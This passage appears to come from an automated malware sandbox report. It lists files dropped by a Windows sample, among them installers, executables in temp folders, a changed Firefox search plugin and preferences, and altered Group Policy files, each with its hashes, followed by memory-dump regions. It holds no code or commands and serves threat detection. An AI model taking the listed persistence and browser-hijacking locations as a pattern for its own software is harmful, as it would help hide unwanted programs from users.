659410566079707b0cdd73336a86b91521644ce25065a29e3b0d83c5949dad3bdcd085d00213b07d6044a0554c830412cdc82e080e31a2419beabbc08b20c49c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSEDE8.tmp\Install.exe
Filesize
6.7MB

MD5
6d62f544d3de937435c07ca2e4c45751

SHA1
dd4653f37aa30f1896f84f1b99f850f0487a3e1d

SHA256
32a68fcef6732b985c31755e25d5410ebf23e61d1197114c3c74eba0ab2e2075

SHA512
eaddce56d9ba57cdd99caaa4041eb4c31b93f2c3a657fb7897deb3f45bb984fcf3d0b658772ab2265f6a27fbc5680ff9a1facf1a351b16608c8f8eb58f94cefb

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab4F.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar16F.tmp
Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\onefile_1496_133633965668456000\python310.dll
Filesize
4.3MB

MD5
c80b5cb43e5fe7948c3562c1fff1254e

SHA1
f73cb1fb9445c96ecd56b984a1822e502e71ab9d

SHA256
058925e4bbfcb460a3c00ec824b8390583baef0c780a7c7ff01d43d9eec45f20

SHA512
faa97a9d5d2a0bf78123f19f8657c24921b907268938c26f79e1df6d667f7bee564259a3a11022e8629996406cda9fa00434bb2b1de3e10b9bddc59708dbad81

Download Submit
C:\Users\Admin\AppData\Local\Temp\onefile_1496_133633965668456000\stub.exe
Filesize
17.9MB

MD5
972d9d2422f1a71bed840709024302f8

SHA1
e52170710e3c413ae3cfa45fcdecf19db4aa382c

SHA256
1c666df4eafab03ecde809ffbc40dd60b8ac2fe7bdca5632c5c4002254e6e564

SHA512
3d84252756dcb4820b7794e9a92811d32631b9f3e9bd1a558fd040736b1472c0d00efb6ff7a13ae3bcd327f3bfac2b6ad94a5a3dfbc8ba54511a366c4f4727a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\roxonk.exe
Filesize
130KB

MD5
4a4ee1cd7bfff65126a6def9b3598b6b

SHA1
42314488735e4b4f846d6c80d749ac72687898aa

SHA256
888c660ede9830e9a08aeac4bf622590e5791db19037eabb67a3acea2ec3ebe4

SHA512
dbef4cd72a4a34f4adf0ea61fa817b234cdb9dda090642909003b99c26a586bcb18c9174e337c826e5aa9281874039c8c8e7f39cc8cf6729f10181054394221f

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup-dbec9a323eef8914\setup.exe
Filesize
41.4MB

MD5
e0180e8704b79a8c2132a48fa956e765

SHA1
6690b172ea1efec4f17abb5cfa1a8b2020c8df26

SHA256
9f2adceadca58edbf46b3f2301c0351ee38f369a06ddf140b3ed1079fabdcd33

SHA512
30306356fa075d9597a2bebf1bc14f16c417b4550ca8ee44183151b9b741972e5c275deaebd382064adcef429c23e24657b6a45317122f2b95abc110b06605d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
34.4MB

MD5
f9ca0843558c95c441aa9b2f00ed57a6

SHA1
a71486409c55062fe65ff5f2a6cfc52cf0c45027

SHA256
7095c024a647f825dd9899e2447a73a586d08d5c0bd1001eb2aec86d6cf12183

SHA512
696f1557d4bcd7de7fa0bc3f579d55ca6dd4897927cd517290cc89d1f4ef24270202970757a93af5754a6e7b55f89776a65fdc08f8f1cbaa845730c61ebf39c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\version.txt
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0NHPZZTG3WS28EKCIM5F.temp
Filesize
7KB

MD5
25795850501505e8638d9cefb9d13611

SHA1
55cc891b4b92b8ea2f7ebf111a358896ebc8a9c5

SHA256
e98d88cd3837971c15acb55cf10eabae3533624fdda3e686dde49afa2af359e6

SHA512
bc7bdb3da66e3069ecf097fce8aba9ae4701a46b82c4242f9ed1a2165d36a7a5e6882b29d0cea12ad2637244613c3f40a40e6c816fc0a91eed813ecf8948461d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\51NRRK5VE3AJMHWKW8GI.temp
Filesize
7KB

MD5
07b405082790e27ebe425dd9d36aebb1

SHA1
f538209b54e91931052f1f1675b683bc1534a87d

SHA256
3836f2cf7cd1b33adaf32f14c9f2e74dd3ac9f2729426a2ae0abcf197faa05bd

SHA512
5f388c091274377ce6f6f6a2451f5fa1345bb2968240d96b0efafa639972279f051aa74dcb7fddb4f1bfe67e753ddff92e49e8ce70dc88a59f46da363d088e0c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9bot8sq2.default-release\prefs.js
Filesize
6KB

MD5
cc764266c05407cb6b1a124a11acfc0e

SHA1
ef65c48eb77842414faa12583423aa8a6e99629d

SHA256
bf3661a54c71c41ff1a014a438764572f5f4cee72d80c8afdd201fba17081565

SHA512
0006099b88d01e630198be302affc6dc09a0693367ac484bfb28a19bd628383580307dcc5ce34d5b25ff211b2343b9f201debcc3ba688cdb436f56b817a9bf6a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9bot8sq2.default-release\searchplugins\cdnsearch.xml
Filesize
1KB

MD5
2869f887319d49175ff94ec01e707508

SHA1
e9504ad5c1bcf31a2842ca2281fe993d220af4b8

SHA256
49dd61e19d4541f1e695b66847d0bf99bc08952ba41b33a69c2e297dfa282d15

SHA512
63673c1ede47fda14dea78483c6319132a849db3b35953e43704aa49cfb6d14e42d74e0eaf93f4cdb7632c85f368d484ac111687127d2b87a3e264949085c76b

Download Submit
C:\Windows\System32\GroupPolicy\Machine\Registry.pol
Filesize
6KB

MD5
51e16be8e8cd25fc050416463361d6a1

SHA1
0651643b8458c3f4222cd5fefd915eef87ca2938

SHA256
dbcda40fdb56dd36c5edbde7c6466e7cd054fb5434f97510e87d0bd30f6791f4

SHA512
96a6ff1e2377582ebebaf9c4b8af1ae3f1e74bdd13bf48b9dac1a8e5cbd876feb0b75a89cedc671794de2f0ba5171fe460ad16b4a62b0e5c9dfbce631dca4fc7

Download Submit
C:\Windows\System32\GroupPolicy\gpt.ini
Filesize
268B

MD5
a62ce44a33f1c05fc2d340ea0ca118a4

SHA1
1f03eb4716015528f3de7f7674532c1345b2717d

SHA256
9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

SHA512
9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

Download Submit
\??\pipe\crashpad_2896_PPBHBVQIKFWXLKFA
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
Filesize
1.8MB

MD5
cfa52d47e2b6910e82d6a093ce9c583d

SHA1
1ed396c555af63b62c75801de596f479c1778740

SHA256
15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd

SHA512
0fc866514069d15333572becfc8862e0dfaa84c57460f8473ed9625b2a1942b57ec24aaa196c0414340f56cc7d2c42aa0f7813f049ba18d305258b7673122c6e

Download Submit
\Users\Admin\AppData\Local\Temp\da_protected.exe
Filesize
3.2MB

MD5
3d21c714fbb98a6a3c72919928c9525c

SHA1
bf628293920b8f0418de008acc8f3506eaeff3cb

SHA256
811be420db2f390e60a291018126a8aa45c8c5182c050b13076c80d3f80d153c

SHA512
3b21fda899cf197a740dd4f2844c99c772a16ffe20581fe78e801c193f29714fbfa23843059ee34baf6176e71434f0ed7506d75de91b87348bcf9cc4b999575a

Download Submit
memory/540-302-0x0000000000020000-0x0000000000021000-memory.dmp

Filesize
4KB

Download
memory/552-276-0x0000000001320000-0x0000000001370000-memory.dmp

Filesize
320KB

Download
memory/588-282-0x0000000000300000-0x00000000007C7000-memory.dmp

Filesize
4.8MB

Download
memory/588-106-0x0000000000300000-0x00000000007C7000-memory.dmp

Filesize
4.8MB

Download
memory/588-431-0x0000000000300000-0x00000000007C7000-memory.dmp

Filesize
4.8MB

Download
memory/588-389-0x0000000000300000-0x00000000007C7000-memory.dmp

Filesize
4.8MB

Download
memory/772-103-0x0000000001360000-0x0000000001827000-memory.dmp

Filesize
4.8MB

Download
memory/772-91-0x0000000001360000-0x0000000001827000-memory.dmp

Filesize
4.8MB

Download
memory/1496-337-0x000000013FB80000-0x0000000140655000-memory.dmp

Filesize
10.8MB

Download
memory/1520-439-0x00000000002F0000-0x000000000085A000-memory.dmp

Filesize
5.4MB

Download
memory/1520-433-0x00000000002F0000-0x000000000085A000-memory.dmp

Filesize
5.4MB

Download
memory/1520-379-0x00000000002F0000-0x000000000085A000-memory.dmp

Filesize
5.4MB

Download
memory/1520-140-0x00000000002F0000-0x000000000085A000-memory.dmp

Filesize
5.4MB

Download
memory/1556-122-0x00000000001D0000-0x00000000007B9000-memory.dmp

Filesize
5.9MB

Download
memory/1556-434-0x00000000001D0000-0x00000000007B9000-memory.dmp

Filesize
5.9MB

Download
memory/1556-392-0x00000000001D0000-0x00000000007B9000-memory.dmp

Filesize
5.9MB

Download
memory/1556-338-0x00000000001D0000-0x00000000007B9000-memory.dmp

Filesize
5.9MB

Download
memory/1784-5999-0x00000000001F0000-0x000000000057C000-memory.dmp

Filesize
3.5MB

Download
memory/2324-16-0x0000000006C40000-0x00000000070F8000-memory.dmp

Filesize
4.7MB

Download
memory/2324-15-0x0000000000390000-0x0000000000848000-memory.dmp

Filesize
4.7MB

Download
memory/2324-5-0x0000000000390000-0x0000000000848000-memory.dmp

Filesize
4.7MB

Download
memory/2324-3-0x0000000000390000-0x0000000000848000-memory.dmp

Filesize
4.7MB

Download
memory/2324-10-0x0000000000390000-0x0000000000848000-memory.dmp

Filesize
4.7MB

Download
memory/2324-2-0x0000000000391000-0x00000000003BF000-memory.dmp

Filesize
184KB

Download
memory/2324-1-0x0000000077090000-0x0000000077092000-memory.dmp

Filesize
8KB

Download
memory/2324-0-0x0000000000390000-0x0000000000848000-memory.dmp

Filesize
4.7MB

Download
memory/2676-90-0x0000000006C00000-0x00000000070C7000-memory.dmp

Filesize
4.8MB

Download
memory/2676-342-0x0000000006C00000-0x00000000070C7000-memory.dmp

Filesize
4.8MB

Download
memory/2676-28-0x000000000A470000-0x000000000A928000-memory.dmp

Filesize
4.7MB

Download
memory/2676-27-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2676-206-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2676-138-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2676-139-0x0000000006C00000-0x000000000716A000-memory.dmp

Filesize
5.4MB

Download
memory/2676-124-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2676-120-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2676-121-0x0000000006C00000-0x00000000071E9000-memory.dmp

Filesize
5.9MB

Download
memory/2676-105-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2676-100-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2676-432-0x0000000006C00000-0x000000000716A000-memory.dmp

Filesize
5.4MB

Download
memory/2676-182-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2676-20-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2676-19-0x0000000001021000-0x000000000104F000-memory.dmp

Filesize
184KB

Download
memory/2676-22-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2676-430-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2676-18-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2676-391-0x0000000006C00000-0x00000000071E9000-memory.dmp

Filesize
5.9MB

Download
memory/2708-5776-0x0000000000BE0000-0x0000000000C3A000-memory.dmp

Filesize
360KB

Download
memory/2708-889-0x0000000007950000-0x0000000007B6C000-memory.dmp

Filesize
2.1MB

Download
memory/2708-5777-0x0000000000F60000-0x0000000000FAC000-memory.dmp

Filesize
304KB

Download
memory/2708-5973-0x0000000000D50000-0x0000000000DA4000-memory.dmp

Filesize
336KB

Download
memory/2708-888-0x00000000051A0000-0x00000000055D2000-memory.dmp

Filesize
4.2MB

Download
memory/2708-887-0x0000000001240000-0x00000000015CC000-memory.dmp

Filesize
3.5MB

Download
memory/2780-65-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-74-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-58-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-26-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-75-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-29-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-47-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-32-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-34-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-36-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-37-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-41-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-44-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-45-0x0000000001020000-0x00000000014D8000-memory.dmp

Filesize
4.7MB

Download
memory/2780-38-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-55-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-51-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-62-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-30-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-48-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-46-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-49-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-50-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-52-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-53-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-56-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-57-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-59-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-60-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-61-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-63-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-64-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-66-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-67-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-68-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-54-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-72-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-76-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-39-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2780-69-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-70-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-71-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2780-73-0x0000000000400000-0x0000000000A04000-memory.dmp

Filesize
6.0MB

Download
memory/2844-301-0x000000013F6C0000-0x00000001408F5000-memory.dmp

Filesize
18.2MB

Download
memory/3396-459-0x00000000000F0000-0x0000000000A48000-memory.dmp

Filesize
9.3MB

Download
memory/3396-460-0x00000000000F0000-0x0000000000A48000-memory.dmp

Filesize
9.3MB

Download
memory/3976-462-0x0000000004B50000-0x0000000004C3C000-memory.dmp

Filesize
944KB

Download
memory/3976-464-0x0000000000BD0000-0x0000000000BE5000-memory.dmp

Filesize
84KB

Download
memory/3976-465-0x0000000000BD0000-0x0000000000BE5000-memory.dmp

Filesize
84KB

Download
memory/3976-463-0x0000000000BD0000-0x0000000000BEC000-memory.dmp

Filesize
112KB

Download
memory/3976-461-0x00000000012A0000-0x00000000013A6000-memory.dmp

Filesize
1.0MB

Download
memory/3976-456-0x00000000013B0000-0x000000000174C000-memory.dmp

Filesize
3.6MB

Download
memory/4120-5786-0x000000001B440000-0x000000001B722000-memory.dmp

Filesize
2.9MB

Download
memory/4120-5787-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/4504-10999-0x0000000000C80000-0x000000000100C000-memory.dmp

Filesize
3.5MB

Download
memory/4600-5789-0x0000000019E70000-0x000000001A152000-memory.dmp

Filesize
2.9MB

Download
memory/4600-5790-0x00000000009D0000-0x00000000009D8000-memory.dmp

Filesize
32KB

Download